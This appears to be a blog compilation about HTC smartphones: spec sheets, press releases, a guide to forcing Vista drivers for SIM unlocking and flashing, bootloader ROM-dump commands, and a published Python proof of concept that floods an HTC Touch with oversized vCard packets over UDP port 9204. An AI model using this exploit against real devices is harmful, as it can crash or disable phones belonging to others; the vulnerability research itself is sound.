This new Diamond2 looks quite interesting to me. Finally after a long time of “innovation” there is something which looks really usable and right to me.

But have a look yourself. Here’s the video:

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Operating System: Windows Mobile® 6.1 Standard

Memory ROM: 256 MB

RAM: 192 MB

Dimensions: 116.5 X 61.5 X 12.0 mm ( 4.59 X 2.42 X 0.47 inches)

Weight: 120 grams (4.23 ounces) with battery

Display: 2.4-inch TFT-LCD with LED back light and QVGA resolution

Network:

• HSDPA/WCDMA:
  • Europe/Asia: 900/2100 MHz
  • Up to 7.2 Mbps down-link speed

• Quad-band GSM/GPRS/EDGE:
  • Europe/Asia: 850/900/1800/1900 MHz
    (Band frequency and data speed are operator dependent.)

Device Control: Trackball with Enter button

Keyboard: 4-row QWERTY keyboard

GPS: Internal GPS antenna

Connectivity:

• Bluetooth® 2.0 with Enhanced Data Rate and A2DP for wireless stereo headsets
• Wi-Fi®: IEEE 802.11 b/g
• HTC ExtUSB^TM (11-pin mini-USB 2.0 and audio jack in one)

Camera: 2.0 megapixel color camera with fixed focus

Audio supported formats: AAC, AAC+, eAAC+, AMR, AWB, QCP, MP3, WMA, WAV, MIDI

Video supported formats: WMV, ASF, MP4, 3GP, 3G2, M4V, AVI

Battery: Rechargeable Lithium-ion battery

Capacity: 1500 mAh

Talk time:

• Up to 300 minutes for WCDMA
• Up to 510 minutes for GSM

Standby time:

• Up to 480 hours for WCDMA
• Up to 380 hours for GSM

(The above are subject to network and phone usage.)

Expansion Slot: microSD^TM memory card (SD 2.0 compatible)

AC Adapter Voltage range/frequency: 100 ~ 240V AC, 50/60 Hz

DC output: 5V and 1A

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HTC Snap Specification

A recent study conducted by Harris Interactive® and commissioned by HTC* found that 44% of US adults are often overwhelmed by the amount of email they receive, and over half (55%) of US adults prioritize five or fewer people with whom they communicate via email. In response to these issues, HTC’s innovative Inner Circle feature allows HTC Snap users to press a dedicated Inner Circle key to bring emails from a preselected group of people to the top of their inbox, enabling important messages to be acted upon immediately.

“Recognizing that people are being overwhelmed by an avalanche of email, the HTC Snap introduces Inner Circle, an HTC innovation that makes it easy for people to prioritize messages from the most important people in their lives at the press of a button,” said John Wang, Chief Marketing Officer, HTC Corporation. “The HTC Snap represents the latest step in HTC’s mission to create a range of innovative smartphones, each with specific benefits designed to both surprise and delight our customers.”

With a slim, sleek profile designed to fit perfectly in the hand, the HTC Snap measures less than a half-inch thick (12 mm), yet it can deliver up to eight and a half hours of talk time with the standard 1500mAh battery. The full QWERTY keyboard is ergonomically designed with extra-large domed keys and responsive tactile feedback to make typing emails and text messages fast, accurate and comfortable. High-speed 3G HSPA connectivity makes it quick and easy to send pictures to friends, access favorite social networking sites, or download large files while on the go.

The HTC Snap is powerful enough for experienced business users looking for an affordable, straightforward choice for remotely synchronizing email, calendar and contacts with their Microsoft Exchange server. However, the flexible Microsoft Windows Mobile® 6.1 Standard platform allows the HTC Snap to also be simple enough for first-time smartphone users wanting to keep their family life organized.

The HTC Snap is expected to be available in select channels during the second quarter of 2009, rolling out in markets around the world throughout the second half of the year. Additionally, an unlocked version supporting HSDPA at 850/1900MHz for the US market will be made available under the name HTC S522 during the summer.

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VISTA has new (WM Device Center, former ActiveSync) drivers which do not recognize the older files/software on our Universal. The key is that we force-install these previous drivers to Vista to help it let us run the RUU/Sim Unlock software. During this tedious process you will come across messages from Vista like: Windows already has up-to-date drivers, so it cannot update.

IGNORE all such msgs and don’t give up :)

Follow this link and download the required files:
http://www.4shared.com/file/91609041/50f8cbef/USB_MODEM_VISTA.html

Extract the USB Modem Vista in a new folder on, say, your desktop.

Strictly – AT YOUR OWN RISK

1. Your device should be in Boot Loader mode (press and hold power, light and softreset button)
2. Connect device to your computer
3. Go to Computer Management (Device Manager) in Vista, Right-click Computer in Start Menu and select manage (see step 1) [You can also go to Control Panel and click the Device Manager icon]
4. In Computer Manager open Device Manager (step 2)
5. Follow step 3 and 4

Note: It happened to me and I have no idea why. Instead of “Mobile Devices” in the device manager list, I could only see “Portable Devices”. I did see “Mobile Devices” but it kept switching between “Mobile Devices” and “Portable Devices” during the many times I tried doing it.

After step 4 browse to the folder where you extracted the USB Modem Vista and choose next.
It will install the active sync drivers to Vista and you will be able to unlock/flash.

Use Exit BootLoader file to exit boot-loader mode (you can also install drivers without flashing the device)
YOU ALWAYS HAVE TO EXIT BOOTLOADER MODE! EVEN BEVORE FLASHING!

Now run the SIM Unlocker tool or treat your device with a new ROM update following their specific guidelines.

I would like to Thank Buzz (for SIM Unlocker) and Duanes, member at (XDA Developers) for the enlightening guide and drivers/software to Unlocking/Flashing in VISTA.

I have achieved the above results using the process described above. However, use of the drivers and flash/unlock software should be made/done strictly AT YOUR OWN RISK. In no way shall I, this forum, and all names mentioned herein may be held responsible for any losses/damages incurred with the use of these utilities or software.
Regards and Happy Unlocking/Flashing in VISTA!

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#! /usr/bin/env python
#
# Copyright (c) 2009 Mobile Security Lab www.mseclab.com
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#

from socket import *
from sys import exit,argv
from time import *
import random
from optparse import OptionParser

# Global Variables
PORT = 9204
DEF_NUM_PACKETS = 10
DEF_VCARD_LEN = 1410
DEF_DELAY = 0.7
VCARD_HEADER = "BEGIN:VCARD\r\nVERSION:2.1\r\nN:"
VCARD_TRAILER = "\r\nEND:VCARD\r\n"

def main():
    # Local variables
    num_packets = DEF_NUM_PACKETS
    delay = DEF_DELAY

    print "\nMSL-2008-002 PoC for HTC Touch\nMobile Security Lab 2009\n"
    # Parsing options
    parser = OptionParser("usage: %prog [options] target_IP")
    parser.add_option("-s", "--silence", action="store_true", dest="silence", help="send silent vcards (32k)")
    parser.add_option("-c", "--count", type="int", help="specify vcard length", dest="count")
    parser.add_option("-d", "--delay", type="float", help="specify delay between packets", dest="delay")
    parser.add_option("-l", "--len", type="int", help="specify vcard length", dest="len")
    parser.add_option("-t", "--text", type="string", help="specify vcard body text", dest="text")

    # Parse input
    (options, args) = parser.parse_args()
    if len(args) != 1:
        parser.print_help()
        print ""
        exit(1)

    if options.count:
        num_packets = options.count

    if options.delay:
        delay = options.delay

    if options.silence:
        vcard_body = VCARD_HEADER+'A' *32722+VCARD_TRAILER
    elif options.len:
        vcard_body = VCARD_HEADER+'A' *options.len+VCARD_TRAILER
    elif options.text:
        vcard_body = VCARD_HEADER+options.text+VCARD_TRAILER
    else:
        vcard_body = VCARD_HEADER+'A' *DEF_VCARD_LEN+VCARD_TRAILER

    # Socket creation
    udp_sock = socket(AF_INET, SOCK_DGRAM)
    ADDR = (args[0],PORT)

    # Start sending packet
    counter = 1
    c_lap = 0
    total_data = 0
    print "Sending %d packets... to %s" % (num_packets,ADDR)
    start_time = time()
    start_lap = time()

    # Start sending packet
    while counter < = num_packets:
        len_sent = udp_sock.sendto(vcard_body,ADDR)
        if len_sent != len(vcard_body):
            print "Error sending packet n.%d" %counter
            break

        # Update Counter
        counter += 1
        c_lap += 1
        total_data += len_sent

        # Sleep for letting the device parse vcards
        sleep(delay)

        # Check number of packets in a second
        local_lap = time()
        if local_lap - start_lap >= 1:
            print "%0.2f packets/sec" % (c_lap/(local_lap - start_lap))
            start_lap = local_lap
            c_lap = 0

    stop_time = time()
    stop_sec = stop_time - start_time

    # Display info
    print "Sent %d packets in %f seconds" % (num_packets, stop_sec)
    print "Start time: %s" %ctime(start_time)
    print "Stop time: %s" %ctime(stop_time)
    print "Payload Len = %d bytes" % len(vcard_body)
    print "Total Data sent = %d bytes (about %0.2f kB)" % (total_data, (float(total_data)/float(1024)))

#Global start
if __name__ == "__main__":
    main()

# milw0rm.com 2009-03-02

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The All new HTC Touch Cruise™ is intelligent enough to help you navigate from point A to point B, but that is just the beginning. With the introduction of HTC Footprints™, you have a mobile phone that lets you grasp all the precious details of the instances that make up your life.

Your Life Chronicles

We all strive to capture and hang on to the moments that touch our life. The HTC Touch Cruise™ does just that. Take a picture and the HTC Footprints™ automatically saves your location. Embellish your instance further by adding the thoughts that surrounded that special moment. You can even grab the sound of your friend’s laughter to go along with your memory.

The best part about HTC Footprints™ is that you can use them to find your way back to the hidden little café you visited last year, or the elm tree under which your loved one popped the big question. And if you want, you can simply flip through your collection and laugh about the times that helped create who you are today. HTC Footprints™ is like a journal of your life’s highlights, making them always within your reach.

Highlights

• HTC Footprints™HTC Footprints™ lets you create a vivid collection of your life’s chronicles.
• Navipanel ModeNavipanel mode transforms your smartphone into a simple to use turn-by-turn navigator.
• 3.2 Megapixel Camera3.2 megapixel camera with geotagging so you can always return to your favorite spots.
• Internet ConnectivityInternet connectivity reaching broadband speeds.

Specification

Processor

• Qualcomm® MSM7225™, 528 MHz

Operating System

• Windows Mobile® 6.1 Professional

Memory ROM

• 512 MB

RAM

• 256 MB

Dimensions

• 102mm (L) x 53.5mm (W) x 14.5mm (T)

Weight

• 103g (with battery)

Display

• 2.8” TFT-LCD touch-sensitive screen with QVGA resolution

Network

• HSDPA/WCDMA
  Europe/Asia: 900/2100 MHz
  Up to 384kbps up-link and up to 7.2Mbps down-link speeds

• Quad-band GSM/GPRS/EDGE:
  850/900/1800/1900MHz
  (Band frequency and data speed are operator dependent)

Device Control

• HTC TouchFLO™
• 4-Way Navigation Wheel with Enter button
• HTC Footprint™ button

GPS

• Internal GPS antenna
• A-GPS capable (service provided by Google)

Connectivity

• Bluetooth® 2.0 with EDR and A2DP for stereo wireless headsets
• Wi-Fi®: IEEE 802.11 b/g
• HTC ExtUSBTM (11-pin mini-USB 2.0 and audio jack in one), full-speed USB 2.0

Camera

• 3.2 mega-pixel colour camera

Audio Supported Format

• AAC, AAC+, eAAC+, AMR, AWB, QCP, MP3, WMA, WAV and MIDI

Video Supported Format

• WMV, ASF, MP4, 3GP, 3G2, M4V and AVI

Battery

• 1100mAh rechargeable Lithium-ion battery

Talk time

• Up to 375 minutes for WCDMA
• Up to 400 minutes for GSM

Standby time

• Up to 400 hours for WCDMA
• Up to 330 hours for GSM

(The above are subject to network and phone usage)

Expansion Slot

• microSD™ memory card (SD 2.0 compatible)

AC Adaptor

• Voltage range/frequency: 100-240V AC, 50/60Hz, DC output: 5V and 1A

Special Features

• Includes proprietary in-car holder, photo geotagging

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Read the technical details here

Introducing HTC Footprints

The HTC New Generation Touch Cruise^TM is the first mobile phone to offer HTC Footprints^TM, an application experience that enables people to permanently chronicle their special moments by capturing a digital postcard on their phone. With the built-in GPS function, Footprints^TM provides the ability to take notes and an audio clip of that favourite restaurant or special place while identifying its specific geographical location. In addition to identifying each postcard with its specific GPS co-ordinates, Footprints^TM also auto-names each postcard with its general location or area.

“Just as we have seen GPS technology transform how people navigate to new places, we are now seeing location-based applications like HTC Footprints^TM changing how we interact and carry our memories,” said Peter Chou, President and CEO, HTC Corporation.

Extraordinary New HTC Touch Cruise^TM

Unlike other devices with geo-tagging functionality, HTC Footprints^TM in the HTC New Generation Touch Cruise^TM works effectively outdoors and indoors, offering a more accurate record of location for future reference and navigation. Flipping back through their photos, HTC Touch Cruise^TM users will be able to retrace their steps to that exact location in just a few touches. The HTC New Generation Touch Cruise^TM is also equipped with Google Maps^TM*. The “My Location” function enables users to locate their location in a faster and more efficient way. The simple TouchFLO^TM technology makes every chic spots for dining, entertainment etc. all within a touch. With the GPS function, you can easily find your way spots you want to go. Moreover, you can also personalize the Google Maps^TM and make it truly yours by using the “Favorites” so that your favourite places are all in your New Generation Touch Cruise^TM.

HTC New Generation Touch Cruise^TM Car Cradle

The HTC New Generation Touch Cruise^TM is also an advanced in-car 3D GPS navigation system. When placed into its accompanying car cradle, the HTC New Generation Touch Cruise^TM automatically transforms its user interface into an easy-to-use, one-touch interface that provides seamless turn-by-turn directions.

Boasting a compact and sleek design with a 2.8 inch QVGA display, the HTC New Generation Touch Cruise^TM adopted the HTC’s TouchFLO^TM technology. The HTC New Generation Touch Cruise^TM provides fingertip access to phone, contacts, email, weather, calendar and GPS applications, making it a strong all-around device.

HTC New Generation Touch Cruise^TM Key Specifications

^Network dependent
*Using Google Maps^TM might involve extra costs on Internet usage

Availability & Suggested Retail Price

The HTC New Generation Touch Cruise^TM will be available in early March 2009 in Hong Kong with suggested retail price of HKD4,480.

Source: HTC Press release

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T-Mobile announced in August 2008 that they would produce the first smartphone to use Google’s Android software, and that the mobile hardware platform would be provided by HTC. The T-Mobile offering is intended to compete head-on with the Apple iPhone. The phone is part of an open standards effort of the Open Handset Alliance.

Features

• A capacitive touchscreen
• Dedicated YouTube Player
• Google Streetview with built-in compass
• Full QWERTY 5-row keypad that slides away when not in use
• 117.7 mm × 55.7 mm (4.63 in × 2.19 in), 17.1 mm (0.67 in) thick
• Internet navigation button controls
• Up to 7.2 Mbps down-link (HSDPA) and 2 Mbps up-link (HSUPA) speeds
• 1150mAh battery
• 192 MB RAM / 256 MB ROM
• 1GB microSD (32GB max)
• Qualcomm MSM7201A processor at 528MHz.
• 3.1MP camera with auto-focus (no flash), 2048 × 1536 resolution
• 3.2-inch TFT-LCD flat touch-sensitive screen with 320 x 480 (HVGA) resolution
• Mini USB connector
• GPS navigation capability with built-in GPS receiver and map software
• Bluetooth and Wi-Fi enabled
• Audio playback – MP3, AAC, AAC+, WMA, MPEG4, WAV, MIDI, REAL AUDIO, OGG
• Video playback – H.264, streaming, 3GPP, MPEG4, and Codec 3GP
• No 3.5mm ear-phone jacket
• No a2dp audio support (yet, hardware supported)

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Security level check

Before you can do any dumps off of your device, you must first pass the security check. You need to issue this command before any set of “d2s” commands.

task 32

Typical output looks like this:

USB>task 32
SD:Waiting for card insert.........

CMD3 for SD, it's OK, ready to get RCA from response.

SD:Detected one card

SD:ready for transfer OK

d.total_lba=F1F00
d.block_size=200
d.RCA=80CA
d.drv_type=40000000
d.busWidth=1
Total card size=1E3E0000

Level = FF

If the last line of output is Level=00 you are OK and your device is so called SuperCID device and you are allowed to dump the ROM content.
In case you’ll get Level=FF, you need to make your device SuperCID (see below).

Dump Bootloader

d2s 70000000 80000

OS ROM + splash

d2s 70100000 3FA0000

XtendedROM

d2s 74100000 A00000

Radio ROM

d2s 60000000 a24200

If you want to have them all on single SD card, you must add “sd a” at the end of each command except the first one.

OS ROM + Xtended ROM + Radio

d2s 70100000 3FA0000
d2s 74100000 A00000 sd a
d2s 60000000 a24200 sd a

Which program you use to do this?

We use good old mtty.exe version 1.16
mtty116 (68) - 15.18 kB

Important notice

Never copy & paste commands into mtty.exe. You always have to write it down there.
Use mtty.exe version 1.16, newer versions (1.42) are not working properly.

There are some devices, where the commands above are locked and you always get “Not allow operation” as response.
For these devices you have to use Universal SIM unlocker first, which will also unlock the CID of your device.

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